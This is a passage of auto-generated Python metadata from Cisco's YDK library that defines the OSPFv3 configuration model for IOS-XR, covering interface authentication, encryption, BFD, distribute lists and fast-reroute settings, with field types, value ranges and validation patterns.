'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor',
False,
[
_MetaInfoClassMember('neighbor-address', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPV6 address
''',
'neighbor_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' OSPFv3 cost for point-to-multipoint
neighbor
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Filter OSPFv3 LSA during synchronization
and flooding for point-to-multipoint
neighbor
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('poll-interval', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' OSPFv3 dead-router polling interval (in
seconds)
''',
'poll_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' OSPFv3 priority of non-broadcast neighbor
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('zone', ATTRIBUTE, 'str' , None, None,
[], [],
''' Zone
''',
'zone',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbor',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors',
False,
[
_MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor',
[], [],
''' IPv6 address
''',
'neighbor',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbors',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6
prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface to configure
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
